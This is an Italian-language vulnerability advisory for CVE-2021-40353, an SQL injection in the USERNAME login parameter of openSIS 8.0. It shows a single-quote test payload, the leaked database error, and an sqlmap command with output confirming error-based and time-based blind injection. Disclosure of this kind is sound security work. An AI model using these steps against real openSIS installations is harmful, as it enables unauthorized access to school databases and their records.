CVE-2021-40353

CVE-2021-40353 Vulnerabilità di SQL Injection in openSIS 8.0 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40353

Esiste una vulnerabilità di SQL injection nella versione 8.0 di openSIS quando MySQL o MariaDB vengono utilizzati come database dell'applicazione. Un attaccante può quindi emettere il comando SQL attraverso il parametro USERNAME.

Pagina PHP vulnerabile:

index.php - parametro USERNAME

Payload vulnerabile ' - produrrà un errore con informazioni sul database " - non produce l'errore

Errore

Data:

08/31/2021 03:16:22

Avviso di errore:

DB Execute Failed

SQL: UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER('user1'') Traccia: C:\xampp\htdocs\opensis\index.php at 502 Informazioni aggiuntive: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''user1'')' at line 1 Data:

08/31/2021 03:16:22

openSIS ha riscontrato un errore che potrebbe essere stato causato da uno dei seguenti:

Input dati non valido
Errore SQL del database
Errore del programma

Si prega di fare uno screenshot e inviarlo al rappresentante openSIS per il debug e la risoluzione.

sqlmap -r post_opensis -p USERNAME

[09:38:19] [INFO] POST parameter 'USERNAME' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [09:38:19] [INFO] testing 'MySQL inline queries' [09:38:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [09:38:21] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [09:38:22] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [09:38:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [09:38:24] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [09:38:46] [INFO] POST parameter 'USERNAME' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable